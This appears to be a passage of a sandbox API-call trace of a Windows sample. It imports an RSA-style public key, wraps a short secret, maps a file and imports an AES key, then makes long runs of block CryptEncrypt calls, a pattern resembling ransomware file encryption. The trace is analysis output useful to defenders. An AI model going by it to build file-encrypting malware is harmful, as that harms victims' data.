[0155.332] GetTickCount () returned 0x11669be [0155.332] GetTickCount () returned 0x11669be [0155.332] GetTickCount () returned 0x11669be [0155.332] GetTickCount () returned 0x11669be [0155.332] GetTickCount () returned 0x11669be [0155.332] GetTickCount () returned 0x11669be [0155.332] GetTickCount () returned 0x11669be [0155.332] GetTickCount () returned 0x11669be [0155.332] CryptAcquireContextW (in: phProv=0x3e0cd58, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0cd58*=0x1668bd0) returned 1 [0155.333] CryptImportKey (in: hProv=0x1668bd0, pbData=0x3e0ccc0, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd64 | out: phKey=0x3e0cd64*=0x1639868) returned 1 [0155.333] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x80) returned 1 [0155.333] CryptDestroyKey (hKey=0x1639868) returned 1 [0155.333] CryptReleaseContext (hProv=0x1668bd0, dwFlags=0x0) returned 1 [0155.333] CreateFileMappingW (hFile=0x288, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1268b, lpName=0x0) returned 0x3c0 [0155.334] MapViewOfFile (hFileMappingObject=0x3c0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1268b) returned 0x14a0000 [0155.335] CryptAcquireContextW (in: phProv=0x3e0cd48, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0cd48*=0x1669120) returned 1 [0155.335] CryptImportKey (in: hProv=0x1669120, pbData=0x3e0cd00, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd58 | out: phKey=0x3e0cd58*=0x16394e8) returned 1 [0155.335] CryptSetKeyParam (hKey=0x16394e8, dwParam=0x4, pbData=0x3e0cd3c*=0x2, dwFlags=0x0) returned 1 [0155.335] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10) returned 1 [0155.335] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.335] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.335] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.336] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.336] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.336] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.336] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.336] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.336] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.336] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.336] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.336] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.336] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.336] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.336] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.336] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.336] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.336] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.336] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.336] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.336] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.336] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.336] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.336] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.336] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.336] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.337] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.337] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.337] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.337] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.337] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.337] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.337] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.337] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.337] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.337] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.337] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.337] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.337] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.337] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.337] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.337] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.337] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.337] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.337] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.337] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.337] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.337] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.338] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.338] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.338] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.338] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.338] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.338] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.338] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.338] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.338] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.338] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.338] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.338] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.338] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.339] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.339] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.339] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.339] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.339] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.339] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.339] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.339] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.339] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.339] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.339] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.339] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.339] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.339] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.339] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.339] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.339] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.339] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.339] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.339] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.339] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.339] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.340] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.340] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.340] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.340] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.340] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.340] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.340] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.340] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.340] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.340] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.340] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.340] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.340] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 